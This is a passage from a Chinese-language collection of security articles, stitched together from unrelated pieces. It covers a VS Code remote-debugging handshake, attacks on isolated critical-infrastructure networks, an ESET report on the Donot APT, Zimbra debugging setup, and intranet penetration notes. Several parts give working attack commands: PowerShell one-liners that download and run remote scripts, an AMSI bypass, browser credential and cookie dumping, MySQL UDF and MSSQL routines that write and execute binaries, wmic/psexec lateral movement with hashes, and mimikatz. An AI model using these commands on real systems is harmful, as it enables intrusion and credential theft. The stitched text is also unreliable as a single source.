b3318bc0524af3d74034b8bb8a64df0ccf35549a)客戶端沒有發送數據。但是,使用此提交,我們仍然可以在沒有此密鑰的情況下發送消息並且它會起作用。這是我們給服務器簽名的內容,以檢查連接到正確的服務器。 服務器響應一個簽名請求。 另一個JSON 對象: 服務器已經簽名了我們在前一條消息中發送的數據,並用它自己的數據請求進行了響應。 客戶端驗證簽名的數據,以檢查它是否是受支持的服務器。當創建我們的客戶端時,可以簡單地跳過。 DRM使用options.signService.validate 方法,然後就會得到/src/vs/platform/sign/node/signService.ts。 vsda 是一個用C++ 編寫的Node 原生插件,將Node 原生插件視為共享庫或DLL。該插件位於https://github.com/microsoft/vsda 的私有存儲庫中,根據https://libraries.io/npm/vsda/的說法,直到2019年左右,它都是一個NPM包。 它與VS Code 客戶端和服務器捆綁在一起: Windows系統: C:\Program Files\Microsoft VS Code\resources\app\node_modules.asar.unpacked\vsda\build\Release\vsda.node 服務器(WSL):~/.vscode-server/bin/{commit}/node_modules/vsda/build/Release/vsda.node。 我找到了https://github.com/kieferrm/vsda-example,並通過一些實驗找到瞭如何使用它創建和簽名消息。 1.用msg1=validator.createNewMessage('1234')創建一個新消息,輸入至少4個字符。 2.使用signed1=signer.sign(msg1)進行簽名。 3.使用validator.validate(signed1) 對其進行驗證,響應為“ok”。 需要注意的是,如果你創建了新消息,則無法再驗證舊消息。在源代碼中,每條消息都有自己的驗證器。 Linux 版本有符號,大小約為40 KB。把它放到IDA/Ghidra 中,應該就可以開始了。 我花了一些時間,想出了這個偽代碼。可能不太正確,但可以讓你大致了解此簽名的工作原理。 1.用當前時間+ 2*(msg[0]) 初始化srand,它只會創建0 到9(含)之間的隨機數; 2.從許可證數組中附加兩個隨機字符; 3.從salt 數組中附加一個隨機字符; 4.SHA256; 5.Base64; 6. 7.Profit。 僅從許可證數組中選擇前10 個位置的字符,它總是rand() % 10 ,但salt 數組翻了一番。 許可證數組的字符串如下所示: salt 數組的前32 個字節(查找Handshake:CHandshakeImpl:s_saltArray)是: 我從來沒有真正檢查過我的分析是否正確,不過這無關緊要,知道如何使用插件簽名消息,這就足夠了。 接下來,客戶端需要簽名來自服務器的數據並將其發送回來,以顯示它是一個“合法”的代碼客戶端。 服務器響應如下: 客戶端發送瞭如下消息: 提交應該匹配服務器的提交哈希。這不是秘密。這可能是最後一個穩定版本提交(或最後幾個之一)。這只是檢查客戶端和服務器是否在同一版本上。它也可以在http://localhost:{port}/version 上找到,你的瀏覽器JavaScript 可能無法看到它,但外部客戶端沒有這樣的限制。 signedData是對我們在前面消息中從服務器獲得的數據進行簽名的結果。 Args是此消息中最重要的部分,它可以告訴服務器在特定端口上啟動一個Node Inspector 示例。 break: 啟動Inspector 示例後中斷。 端口:檢查器示例的端口。 Env:傳遞給檢查器示例進程的環境變量及其值的列表。 Node Inspector 示例可用於調試Node 應用程序。如果攻擊者可以連接到你計算機上的此類示例,那麼攻擊就成功了。 2019 年,Tavis 發現VS Code 默認啟用了遠程調試器。 整個設置旨在允許Windows 上的代碼客戶端在WSL、容器或GitHub
  13. 這篇文章是關於常見的錯誤配置和攻擊場景,這些錯誤配置和攻擊場景使攻擊者能夠訪問具有關鍵系統或敏感數據的獨立網絡。 由於種種原因,德國在過去幾年裡對不同行業的公司實施了許多新的法規和法律,以提高他們的網絡安全。規定了持有關鍵基礎設施的所謂KRITIS 公司和組織必須要保持網絡安全。如果這些公司/組織成為具有破壞性動機的高級持續性威脅(APT) 的目標,那麼在最壞的情況下,這可能會對對國家和人民造成嚴重影響。例如,KRITIS的公司已經執行ISO 27001認證,這是信息安全管理系統的網絡安全最佳實踐規範。 KRITIS包含的一些部門如下: 能源部門; 水務部門; 食品行業; 金融和保險; 其他。 由於德國新出台的法律和認證要求,包括KRITIS的公司進行了越來越多的滲透測試和其他安全評估。 可能的攻擊者入口眾所周知的攻擊媒介不僅適用於敏感的獨立網絡,而且適用於所有的IT網絡和組織: 通過互聯網訪問系統的漏洞或錯誤配置,在大多數情況下,這將是缺少多重身份驗證(MFA) 以及弱密碼、Web 應用程序中的漏洞或過時的系統/服務。 缺乏員工意識:例如網絡釣魚或處理任何不良/惡意設備(USB,電纜等)可能導致網絡的初始訪問。在這些場景中,攻擊者大多數時候會訪問Office-IT網絡,而不是進入獨立的網絡。 物理位置安全:如果一個具有物理訪問權限的攻擊者可以直接進入大樓並插入一個非法設備,那麼最孤立的網絡是沒有意義的。根據網絡和環境的不同,也可能有許多小的獨立位置,它們被允許連接到主控製網絡。 供應鏈攻擊:製造商或服務提供商受到威脅,例如,可以通過合法更新交付惡意代碼(類似2020 年的Solarwinds-Hack)。 水坑攻擊:攻擊者破壞目標公司員工經常訪問的網絡服務器。瀏覽器和客戶端因此受到惡意攻擊者託管代碼的威脅,或者可能只是憑證被網絡釣魚攻擊。 前三個攻擊向量可以由滲透測試公司檢查。第四個和第五個不能被審計,因為它需要涉及第三方公司/組織,這在未經他們同意的情況下是非法的。 因此,上述描述涵蓋了前三個攻擊向量: 面向互聯網的關鍵系統漏洞; 通過C2-Stager獲取證書或初始訪問權限的網絡釣魚; 物理位置安全檢查; 橫向移動嘗試從Office-IT進入獨立的網絡; 對獨立網絡本身進行滲透測試; 如上所述,大多數情況下,攻擊者只能通過利用漏洞或忽略防範來訪問Office-IT網絡。這一領域中可能出現的錯誤配置/漏洞將在本文中討論。 雙宿主主機雙主主機是指不僅有一個網絡接口,而且在不同網絡中有多個網絡接口的系統。假設一個運營網絡管理員想要從他的Office-IT客戶端訪問他的控制台。他可以修補一個直接連接到運營網絡,並通過第二個網絡接口將他的客戶端連接到它: 例如,還可以有一個Web 服務器,用於收集和可視化來自遠程網絡的數據: 這些系統因此不受防火牆的保護,防火牆將網絡彼此隔開。 通過雙宿主主機訪問遠程網絡非常簡單,如果攻擊者已經通過最常見的本地漏洞和錯誤配置在Office-IT 域中獲得了更高的權限,他只需pwn 管理員客戶端系統,然後通過例如socks 代理或端口轉發進入遠程網絡。 但是我們如何找到這些雙宿主系統呢?如果你面對的是Windows環境,至少有兩種協議允許我們在沒有身份驗證的情況下枚舉遠程網絡: NetBIOS; 通過IOXIDResolver 接口進行RPC; 在這兩種情況下,我們根本不需要任何用戶進行枚舉。如果在雙宿主主機上啟用了NetBIOS,我們可以使用工具nextnet 枚舉它的第二個網絡接口。如果你看一下README,用法很簡單: $nextnet192.168.100.0/24 {'host':'192.168.100.22','port':'137','proto':'udp','probe':'netbios','name':'Horst-PC','nets':['192.168.100.22','10.10.15.22'],'info':{'domain':'office.local','hwaddr':'15:ee:a8:e4:10:a0'}}從輸出信息中可以看到,第二個網絡接口的IP 地址為10.10.15.22。所以我們找到了一個雙宿主主機。這種掃描可能導致誤報,因為任何系統都可以有VPN網絡接口、虛擬機接口等。 Airbus CyberSecurity 在2020 年發布了一篇關於該主題的oxid resolver 博客文章。他們還提供了一個PoC 工具,用於通過IOXIDResolver 接口查找遠程網絡。後來,Vincent LE TOUX 將這種枚舉技術集成到了Pingcastle 中,這使得整個域中所有系統的網絡接口的枚舉變得非常容易。只需啟動它,切換到掃描儀菜單並選擇a-oxidbindings,然後選擇1-all: 我自己也竊取了這段代碼,使其作為獨立的二進製文件工作,SharpOxidResolver準備用於C2。 如果沒有參數,它將在當前域中搜索計算機並獲取所有計算機的綁定。 你也可以通過一個主機名或ip地址來掃描這個特定的目標: SharpOxidResolver.exe192.168.100.22如果你的目標雙宿主主機未加入域,則必須在服務級別或Web 應用程序級別搜索漏洞以對其進行破壞。你還可以枚舉有關(可能使用的)遠程域的信息。 我剛剛遇到了另一種具有相應工具的技術,可用於查找雙宿主主機,使用cornershot 。 暴露服務中的漏洞在網絡獨立運行中,我們經常向客戶詢問有意通過防火牆允許的目標網絡服務。在極少數情況下,會使用任意塊規則。獨立網絡中最常用的服務如下: SMB 或SAMBA 共享(端口445):多次用於網絡之間的數據交換; HTTP/HTTPS Webserver (80,443) :用於數據可視化或狀態監控的Web 應用程序; MySQL (3306) 或MSSQL (1433) 數據庫:數據交換; 如果你發現端口445 具有網絡共享,則需要執行通常的枚舉或利用步驟。此處的關鍵字將是通過空會話、密碼噴灑或僅分析共享中的數據(如果可訪問)來擺脫循環。在最壞的情況下,攻擊者可以通過SMB 服務創建橫向移動來破壞具有高權限用戶的系統。 查找Web 應用程序漏洞絕對是一個太大且超出本文範圍的主題。但是我們在過去發現了關鍵的Web 應用程序漏洞,這使我們能夠破壞Web 服務器並通過這些漏洞進入目標網絡。 終端服務器或直接訪問我們在不同環境中看到的另一件事是專用終端服務器用作跳轉主機來管理遠程網絡。如果客戶端告訴我,終端服務器正在使用中,我幾乎可以肯定,獲得訪問權限只是時間問題。我們看到的終端服務器實現的常見錯誤如下: 1.未使用多因素身份驗證。 RDP 登錄憑據保存在客戶端系統上。如果客戶端受到威脅,攻擊者可以通過憑據轉儲或鍵盤記錄訪問終端服務器。 2.Internet DMZ 網絡中的終端服務器,想像一個可訪問網絡的系統受到威脅。如果DMZ 系統本身沒有完全相互隔離,攻擊者將可以通過受感染的主機訪問終端服務器服務,例如RDP/SMB/WMI 等。 一些客戶告訴我,他們的終端服務器激活了某種Kiosk 模式。而且我總是告訴他們:¯\_(ツ)_/¯。 其他人根本不使用任何終端服務器,而是直接允許遠程桌面協議、VNC 或其他身份驗證協議。如果你直接允許任何身份驗證協議,攻擊者獲取相應憑據只是時間問題。 共享基礎架構組件在某些項目中,我們還看到了使用Office-IT 共享基礎架構組件的獨立網絡。在這些案例中,我們對Office-IT 的攻擊導致了單獨的網絡攻擊: 1.共享WSUS 服務器:可在此處使用WSUSpendu 等工具向獨立網絡中的系統提供惡意虛假更新。 2.Active Directory 信任:這個利用路徑應該是直截了當的 3.共享DNS 服務器:破壞DNS 服務器的攻擊者可以進入獨立網絡系統的中間人位置(如果他們被允許連接到遠程網絡或Internet)。這在最壞的情況下也可能導致系統攻擊。 4.共享防病毒服務器:根據使用的防病毒軟件,攻擊者可以通過中央服務器破壞連接的客戶端或服務器。 PoC工具的一個例子是在本例中McAfee的BADministration。 5.共享軟件清單服務器:如果你使用第三方軟件進行更新和軟件安裝,中央服務器的危害也可能被濫用以在獨立網絡中的主機上安裝惡意軟件包。 因此,你應該始終向客戶端請求共享的基礎設施組件。手動找到這些可能需要更多的努力,而不僅僅是問這個問題。通常情況下,他們想知道他們的弱點,而你想找到他們。對雙方都有利。如果你有一個黑箱方法,它是關於檢查所有這些可能的組件和它們連接的設備/客戶端/服務器。 防火牆被破壞如果你已經在Office-IT 域中獲得了高權限,則可以進行一些枚舉以查找系統管理員。根據環境,尤其是在較小的環境中,管理員很可能是Domain Admins 組的成員,並且擁有個性化的帳戶。這是一個不好的做法,但讓我們很快找到它們。 netgroup'DomainAdmins'/domain如果使用了跳轉服務器,你可以通過過濾Bloodhound中的大多數管理會話系統來找到它。否則,系統可能在它的描述字段,甚至在主機名中有一個跳轉或管理員。我將只展示AD-Module的枚舉方式,它可以通過以下方式導入: iex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1')or Import-ModuleActiveDirectoryPowershell腳本基本上是通過Assembly:load解碼和導入的AD-Module DLL base64,所以它可以在任何客戶端或服務器上工作,而無需額外安裝。然後你可以用以下命令查詢計算機的描述字段: Get-ADComputer-Filter{Description-Like'*admin*'}-PropertiesDescription|SelectDescription或者 Get-ADComputer-Filter{Name-Like'*admin*'}|SelectName防火牆也可能有與Active Directory相關的組,因為防火牆管理員有一個單獨的電子郵件收件箱或文檔的網絡共享。 Get-AdGroup -Filter {name-like '*firewall*'-and name-like '*sophos*'-and name-like '*anyothervendor*'} 你還可以在網絡共享、電子郵件、Intranet/Sharepoint等中找到有關管理帳戶或跳轉主機的信,很多枚舉方法也和往常一樣。 在找到正確的組或用戶後,你可以通過任何橫向移動技術(如SMB/WMI/WinRM等)破壞系統或跳轉主機。我個人經常通過查找保存在瀏覽器中的密碼成功獲得防火牆證書。任何瀏覽器都有工具,在寫這篇文章的時候最常用的瀏覽器是Chrome,所以我要展示我認為最好的工具——SharpChromium: AMSIBypassiex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')Invoke-SharpChromium-Command'logins'如果用戶沒有保存憑據但登錄到防火牆管理頁面,你還可以通過以下方式轉儲cookie: Invoke-SharpChromium-Command'cookies'並使用擴展Cookie 編輯器將它們導入你自己的瀏覽器。這也授予身份驗證。要轉儲用戶憑據,你通常需要在用戶上下文中執行該工具。或者,你可以使用SYSTEM 的主密鑰解密所有DPAPI 密鑰。這需要一個SYSTEM shell,例如LaZagne 就是這樣做的。要在用戶上下文中獲取shell,你可以使用令牌模擬或將C2-Stager shellcode 注入目標用戶的進程。我只是專門為此目的構建了一個自定義的TokenVator 工具,它將在大約一個月內公開發布。 SharpImpersonation 如果使用單點登錄進行身份驗證,你也可以只轉儲用戶憑據並使用他的域帳戶登錄。任何其他遠程系統管理軟件也可以保存所需的憑據,因此請查看MobaXterm、MremoteNG、WinSCP 等。如果你有足夠的時間,鍵盤記錄用戶遲早也會給你憑據。 獲得防火牆憑據後,可以通過添加自己的訪問規則來訪問獨立的網絡。 從Office IT(也就是域管理)進行枚舉並不是最終目標 一些客戶,他們不願意給我們任何關於網絡或基礎設施的信息。因此,我們不得不堅持“黑匣子”的方法,自己尋找所有必要的信息。因此,在通過Common vulnerability提升特權後,我們必須搜索關於獨立網絡的信息。 緩解措施最高的保護將來自物理隔離,而不是使用防火牆。這將消除本文中除了實際站點安全和員工意識之外的所有風險。 如果不需要,請禁用敏感網絡的互聯網訪問和遠程網絡訪問。如果完全隔離,許多風險就會自動消失。 如果不需要,不要使用雙宿主主機。如果你沒有別的選擇,那就使用主機防火牆來阻止來自不需要訪問的系統的任何流量。針對少數需要訪問的設備的白名單應該是最合適的。攻擊者從連接的系統竊取憑證的風險仍然存在。 最好的保護措施顯然是完全不開放端口。 不要重複使用來自其他(未受保護的)網絡的任何基礎設施組件,這可能導致敏感網絡受到攻擊。 在客戶端或跳轉主機上的任何軟件中保存憑據都不是一個好主意,使用MFA的密碼管理器代替。還應該對跳轉主機進行加固,使攻擊者更難訪問它們。 使用來自不同供應商的兩個防火牆。我們分析了環境,其中客戶IT團隊只管理第一個,而第二個由第三方供應商管理。這幾乎完全消除了通過利用或提取憑證來破壞防火牆的風險。
  14. 近日,ESET 研究人員深入研究了Donot組織在2020 年和2021 年期間針對多個南亞國家的政府和軍事對象實施的攻擊。 Donot組織(也稱為APT-C-35 和SectorE02)是一個至少從2016年開始運營的威脅組織,並以使用Windows和Android惡意軟件攻擊南亞的組織和個人而聞名。 Amnesty International最近的一份報告將該組織與一家印度網絡安全公司聯繫起來,後者可能正在向該地區的政府出售間諜軟件或提供黑客出租服務。 我們一直在密切關注Donot組織的活動,並追踪了幾起利用源自該組織的簽名yty 惡意軟件框架的Windows 惡意軟件的活動。根據我們的發現,這個組織非常執著地攻擊者一個目標,至少在過去的兩年裡一直以相同的組織為目標。 我們會在本文介紹最近活動中使用的惡意軟件的兩種變體——DarkMusical 和Gedit。對於每一種變體,我們都會分析整個攻擊鏈,並深入了解該組織如何更新其工具、策略和技術。 攻擊目標分析Donot組織的活動以間諜活動為主要載體,使用他們的簽名惡意軟件:“yty”惡意軟件框架,其主要目的是收集和洩露數據。根據我們的追踪,Donot組織專注於南亞的幾個目標——孟加拉國、斯里蘭卡、巴基斯坦和尼泊爾——如下圖所示。 Donot組織專注的目標國家 這些攻擊集中在: 政府和軍事組織; 外交部; 大使館; 除了南亞的幾個國家之外,如中東、歐洲、北美和拉丁美洲的國家也在Donot組織的攻擊範圍之內。 對於APT運營商來說,在某些情況下,這是通過部署一個更隱蔽的後門來實現的,該後門在攻擊者需要它之前一直保持安靜。在其他情況下,他們只是用新的惡意軟件或以前使用過的惡意軟件的變體重新啟動操作。後者是Donot組織操作人員的情況,只是他們在嘗試中非常堅持。 根據ESET的分析,Donot組織每隔兩到四個月就會針對同一對象發送一波又一波帶有惡意附件的釣魚郵件。有趣的是,我們能夠檢索和分析的電子郵件並沒有顯示出被誘騙的跡象。一些電子郵件是從受到攻擊的同一組織發送的。攻擊者可能已經在早期的活動中攻擊了一些受害者的電子郵件帳戶,或者這些組織使用的電子郵件服務器。 通過魚叉式網絡釣魚電子郵件,攻擊者使用惡意Microsoft Office 文檔來部署他們的惡意軟件。我們已經看到Donot組織至少使用了三種技術。一種是Word、Excel 和PowerPoint 文檔中的宏,如下圖所示。 PowerPoint 文檔中的惡意宏,它刪除了一個下載器可執行文件並創建了一個計劃任務來運行它 第二種技術是具有.doc擴展名的RTF文件,該文件利用方程編輯器中的內存破壞漏洞CVE-2017-11882,如下圖所示。這些RTF 文檔還包含兩個作為OLE 對象的嵌入式DLL,用於安裝並下載更多組件(這兩個DLL 都在Gedit 部分中進行了描述)。這允許攻擊者執行shellcode 並且不需要用戶交互,shellcode 部署了惡意軟件的主要組件。 CVE-2017-11882是微軟公佈的一個遠程執行漏洞,通殺目前市面上的所有office版本及Windows操作系統。該漏洞的成因是EQNEDT32.EXE進程在讀入包含MathType的ole數據時,在復制公式名稱名稱時沒有對名稱長度進行校驗,從而造成棧緩衝區溢出,是一個非常經典的棧溢出漏洞。上次出現這麼典型的office棧溢出漏洞是著名的CVE-2012-0158。 RTF 文檔用於加載公式編輯器的COM 對象的CLSID,隨後的OLE 對象包含CVE-2017-1182 漏洞利用 DLL 的OLE 對象標頭也嵌入在RTF 文檔中 第三種技術是遠程RTF 模板注入,它允許攻擊者在打開RTF 文檔時從遠程服務器下載有效負載。這是通過在RTF 文件格式的可選\*\template 控製字中插入URL 而不是本地文件資源的位置來實現的。 Donot組織使用的有效負載是另一個利用CVE-2017-11882 的文檔,下載後會自動加載,如下圖所示。 當Word 打開帶有遠程模板的RTF 文件時,它會自動嘗試下載資源 yty惡意軟件框架由NetScout 在2018 年發現的yty 惡意軟件框架是舊框架EHDevel 的一個不太複雜且開發不佳的變體。 yty框架由一系列下載程序組成,這些下載程序最終會下載一個帶有最小功能的後門程序,用於下載和執行Donot組織工具集的其他組件。 其中包括基於文件擴展名和創建年份的文件收集器、屏幕捕獲器、鍵盤記錄器、反向shell 等。如下圖所示,用於滲透的組件從暫存文件夾收集收集的情報,並將每個文件上傳到僅用於此目的的指定服務器。 解析暫存JPEG 屏幕截圖的文件夾名稱的組件(左)和在暫存文件夾中查找所有文件的滲透組件(右) 幾乎每個新的攻擊活動都會更改暫存文件夾的名稱和位置,以及一些組件的文件名。但是,在某些情況下,組件的名稱保持不變,例如:gedit.exe、wuaupdt.exe、lmpss.exe、disc.exe 等。如下圖所示,似乎對於每個新的活動,為了設置新的路徑和文件名,必須在源代碼中更改這些值然後重新編譯,因為這些組件都沒有使用配置塊或文件。 包含經常更改的位置和文件名的加密字符串(頂部)和用於構建CC URL 的未加密值(底部) 該惡意軟件使用計劃任務進行持久化攻擊,並在活動之間交替使用DLL 和EXE 文件。對於DLL,計劃任務執行rundll32.exe 以加載它們並執行導出的函數之一。 yty框架的開發人員主要依賴c++編程語言,可能是為了逃避檢測,他們還將其組件移植到其他語言,例如VBScript、Python(與PyInstaller 一起打包)、Visual C# 和AutoIt 等。然而,自2019 年以來,我們只看到他們利用C++和Go編程的組件。 捕獲屏幕截圖的組件的反編譯代碼,最初是用c++編寫的 用於用Go編寫的版本的組件截圖的反編譯代碼 該惡意軟件在部署過程中有時會使用兩到三個服務器。它可能在其下載鏈中使用一個服務器,而後門可能會使用另一台服務器來接收其命令並下載更多組件,或者將同一台服務器用於這兩種目的。總是使用不同的服務器上傳收集的信息。在一些攻擊中,Donot組織重用了以前攻擊的CC域——用於下載和滲透。如下圖所示,這些組件(後來被認為是DarkMusical 的變體)在同一攻擊中使用,採用了三個不同的CC 域。 第一個下載器解密服務器的URL,從該服務器下載鏈的下一個階段 在後期階段,後門使用不同的服務器進行CC 通信 滲透組件使用第三個服務器上傳收集的文件時間軸的攻擊 我們在本文中描述了從2020 年9 月到2021 年10 月的Donot組織在活動中使用的惡意軟件變體,重點關注他們的Windows 惡意軟件。為清楚起見,我們將它們分為yty 惡意軟件框架的兩個變體:Gedit 和DarkMusical,其中一個使用Gedit的特定活動,我們將其命名為Henos。 根據我們的追踪分析,攻擊的時間線如下圖所示。統計時,還包括了來自另一個變體的攻擊,稱為“Jaca框架”。然而,我們不會在本文描述它,因為它已在CN-SEC中進行過介紹。 從2020年9月到2021年10月,Donot組織的攻擊時間線 DarkMusical根據ESET 的分析,使用此變體的第一波攻擊發生在2021 年6 月,針對孟加拉國的軍事組織。我們只能恢復其下載鍊及其主要後門。鑑於受害者人數很少,我們認為這可能是一次針對性很強的攻擊。 9 月,針對尼泊爾軍事組織的第二波攻擊使用了新的CC 服務器以及文件和暫存文件夾名稱。我們能夠恢復一些從後門下載的組件,進而分析這些攻擊。 魚叉式釣魚郵件發送的PowerPoint文檔中包含一個宏,該宏部署了下載鏈的第一個組件,並使用一個計劃任務進行持久化。當潛在的受害者打開這些文檔時,他們將看到一條虛假的錯誤消息,如下圖所示,這些文檔將仍然沒有任何可見的內容。 一個空白的惡意PowerPoint 文檔的屏幕截圖 如下圖所示,下載程序鏈旨在下載最終組件,該組件用作具有最少功能的後門:它下載獨立組件,使用ShellExecute Windows API 執行它們,獲取並保存新的CC URL。 ShellExecute的功能是運行一個外部程序或者是打開一個已註冊的文件、打開一個目錄、打印一個文件等,並對外部程序有一定的控制。 後門將處理信息收集和洩露的組件下載到專用服務器。這些組件不與後門或CC 通信以報告其活動。相反,它們使用指定的文件夾來暫存數據,一個單獨的滲透組件將收集所有內容並上傳。 觀察到的DarkMusical攻擊鏈 我們決定將此活動稱為DarkMusical,因為攻擊者為其文件和文件夾選擇名稱時,許多是西方名人或電影中的角色。下表簡要描述了攻擊鏈中每個組件的用途。 DarkMusical 攻擊活動鏈中的組件: 我們在下表中描述了攻擊者工具集的每個組件的用途。 攻擊者DarkMusical 工具集中的組件描述: geditgedit是一個GNOME桌面環境下兼容UTF-8的文本編輯器,它使用GTK+編寫而成,它十分的簡單易用,有良好的語法高亮,支持包括gb2312、gbk在內的多種字符編碼,是一個自由軟件。 我們在2020 年9 月使用Gedit 檢測到該活動的首次攻擊,攻擊對像是巴基斯坦的一些組織,這些組織已經成為安裝了Jaca框架的魚叉式釣魚和惡意RTF文件的目標。從那時起,Donot組織開始將目標定位在孟加拉國、尼泊爾和斯里蘭卡。雖然該惡意軟件顯然源自yty 惡意軟件框架,但它們是截然不同的,與DarkMusical是兩個獨立的程序。 我們能夠檢索到與2021年2月發生的Gedit活動對應的魚叉式釣魚電子郵件,如下圖所示。第一個附件包含一份來自孟加拉國軍事對象的人員名單(沒有惡意內容)。在執行惡意代碼時,第二個附件只顯示了一個空白頁面。 攻擊者發送的魚叉式釣魚電子郵件的屏幕截圖 我們可以看到第二個文件的大小大於2 MB,這是一個利用CVE-2017-11882 刪除文檔中包含的兩個DLL 文件並執行其中一個的RTF 文件。其他組件在各個階段下載到受感染的計算機上。此攻擊鍊及其惡意軟件組件的概述如下圖所示。 Gedit 活動中的攻擊鏈 這些組件是用Go 和C++(使用MinGW 和Visual Studio 編譯器)編寫的。我們選擇描述2021 年2 月該活動中使用的組件,如下表所示。 對Gedit 變體的組件描述 Henos攻擊活動 最後,值得一提的是,在2021年2月至3月間發生了一系列針對孟加拉國和斯里蘭卡軍事組織的攻擊。這些攻擊使用了Gedit惡意軟件的變體,但進行了一些小的修改。因此,我們決定將這個活動以它的後門DLL – henos.dll 命名命名為Henos。 去年2月,網上也公開了屬於這波攻擊的組件的樣本,這可能解釋了為什麼該組織不再使用這些組件的原因。 雖然我們沒有找到相應的魚叉式釣魚郵件或惡意文檔,但攻擊鏈與我們上面描述的大致相同,只是在組件的執行方式上存在一些細微差別。下圖對此進行了概述。 Henos 活動的攻擊鏈 雖然該活動的某些組件被命名為javatemp.exe 和pytemp.exe,但選擇這些文件名可能只是為了模仿Java 或Python 等合法軟件。 pytemp.exe 和plaapas.exe 是用Go 語言編碼的,而javatemp.exe 是用C++ 編碼的(用MinGW 編譯的)。 最後一點是執行文件洩漏的組件pytemp.exe 會執行檢查以查看gedit.exe 是否正在運行。如果找到兩個或更多實例,則退出。我們認為這是開發時候的錯誤,因為它應該檢查pytemp.exe。然而,這個簡單的錯誤幫助我們將Henos 活動與惡意軟件的Gedit 變體(添加到代碼相似性中)聯繫起來。
  15. 0x00 前言本文記錄從零開始搭建Zimbra漏洞調試環境的細節。 0x01 簡介本文將要介紹以下內容: ◼Zimbra服務器開啟調試模式 ◼本地使用IDEA進行遠程調試 ◼常用知識 0x02 Zimbra服務器開啟調試模式相關資料: https://github.com/Zimbra-Community/zimbra-tools/blob/master/java-debug-zimbra-intellij-ide.md 詳細步驟如下: 1.停止Zimbra服務 2.開啟調試模式 此處先備份zmmailboxdmgr,再使用zmmailboxdmgr.unrestricted替換zmmailboxdmgr 3.添加調試信息 注: 也可以直接修改/opt/zimbra/conf/localconfig.xml中的mailboxd_java_options屬性值 4.關閉防火牆 5.重啟服務 0x03 本地使用IDEA進行遠程調試1.下載jar文件本地使用IDEA進行遠程調試時,本地和遠程的代碼需要保持一致,也就是說,我們需要拿到zimbra相關的jar文件 zimbra文件位置: ◼/opt/zimbra/common/jetty_home/lib/ ◼/opt/zimbra/common/jetty_home/lib/apache-jsp/ 2.批量導入jar文件新建java工程,依次選擇File-Project Structure.在Libraries下選擇New Project Library-Java,設置為c:\zimbrajar\ 3.添加斷點在External Libraries-zimbrajar下面打開.class文件,在合適的位置添加斷點 4.設置遠程調試參數頂部菜單欄選擇Add Configuration.在彈出的頁面中選擇Remote JVM Debug,填入遠程調試參數,參數示例: 使用的JDK選擇JDK 5-8 5.開啟Debug模式回到IDEA主頁面,選擇剛才的配置文件,點擊Debug圖標(快捷鍵Shift+F9) 如果遠程調試執行成功,斷點圖標會發生變化,增加一個對號 此時,Console頁面顯示如下: 0x04 常用知識Zimbra使用Jetty框架作為web容器 用戶在訪問jsp文件時,服務器先將JVM不認識的JSP文件解析成java文件,保存路徑為:/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/ 每個jsp文件被成功訪問後,都會註冊一個JspServletWrapper實例,我們可以通過調試器查看request變量獲得所有已註冊的JspServletWrapper實例,也可以通過反射的方式以jsp文件的形式進行枚舉 jsp文件代碼示例: 整個反射的邏輯來自於跟踪調試的結果,實現邏輯不唯一,枚舉JspServletWrapper實例用到了ConcurrentHashMap枚舉 0x05 小結在我們搭建好Zimbra漏洞調試環境後,接下來就可以著手對漏洞和Jetty框架進行研究學習。
  16. 0x00 环境Linux主机www权限主机无法出外网正向代理无法使用B段内网0x01 收集信息F-Scrack.py获取Redis, ES等 PS: Scrack.py的mssql模块爆破不准确,可以自己写一个简单的 python Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 61.Rediskey较多的时候不要使用keys * 查看基本信息: master,数量,版本号 使用scan查看keys: scan 0 match * count 100 查看类型: type <key> hash类型: hgetall <key>2.MySQLwindows下可以先测试是否可写入插件目录: select @@plugin_dir; select hello into outfile <plugin_dir>;然后使用msf的自带的udf,先转换为16进制,然后导出到插件目录: use test; set @a=concat('', 0x<hex_of_exe>); create table Ghost(data LONGBLOB); insert into Ghost values(""); update Ghost set data = @a; select data from Ghost into DUMPFILE <dir>; create function sys_eval returns string soname 'sys_eval.dll'; drop function sys_eval; //用完删除,养成好习惯首选SYS_EVAL, 尽量不要使用SYS_EXEC(会崩溃) 3.mssqlmssql爆破尽量放在后面执行,动静会比较大。 mssql爆破成功之后,最好使用CLR来获取权限,直接使用`xp_cmdshell`会死翘翘,360会拦截 已知mssql的用户密码,certutil等工具会被拦截或者报警,可以使用mssql自带的工具写入到硬盘: 现开启存储过程: sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; mssql写大文件比如exe之类的先转换为hex,然后再写入到文件: xxd -plain /tmp/test.exe | tr -d '\n' > /tmp/dll.hex declare @hexstring varchar(max); set @hexstring = '转换之后的hex'; declare @file varbinary(max); set @file = (select cast('' as xml).value('xs:hexBinary( substring(sql:variable("@hexstring"), sql:column("t.pos")) )', 'varbinary(max)') from (select case substring(@hexstring, 1, 2) when '0x' then 3 else 0 end) as t(pos)); select @file; declare @init int; declare @filepath nvarchar(4000) = N'c:\22.exe'; EXEC sp_OACreate 'ADODB.Stream', @init OUTPUT; -- An instace created EXEC sp_OASetProperty @init, 'Type', 1; EXEC sp_OAMethod @init, 'Open'; -- Calling a method EXEC sp_OAMethod @init, 'Write', NULL, @file; -- Calling a method EXEC sp_OAMethod @init, 'SaveToFile', NULL, @filepath, 2; -- Calling a method EXEC sp_OAMethod @init, 'Close'; -- Calling a method EXEC sp_OADestroy @init; -- Closed the resources4.mssql备份BACKUP DATABASE <db> TO DISK = 'C:\Windows\temp\db.bak' WITH COMPRESSION, INIT, STATS = 5;分卷压缩rar.exe a -m0 -v100m C:\windows\temp\db.split C:\windows\tasks\db.bak download C:\\windows\\temp\\db.split.rar /var/tmp/6.pthwmiwmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"推荐使用wmiexec.vbs: https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs cscript C:\Windows\Tasks\aliwmi.vbs /cmd <ip> "C:\Windows\system32\calc.exe"msfuse exploit/windows/smb/psexec show options set RHOST 192.168.81.129 set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF set SMBUser Administrator show options runmimikatz || Cobalt Strikemimikatz.exe privilege::debug 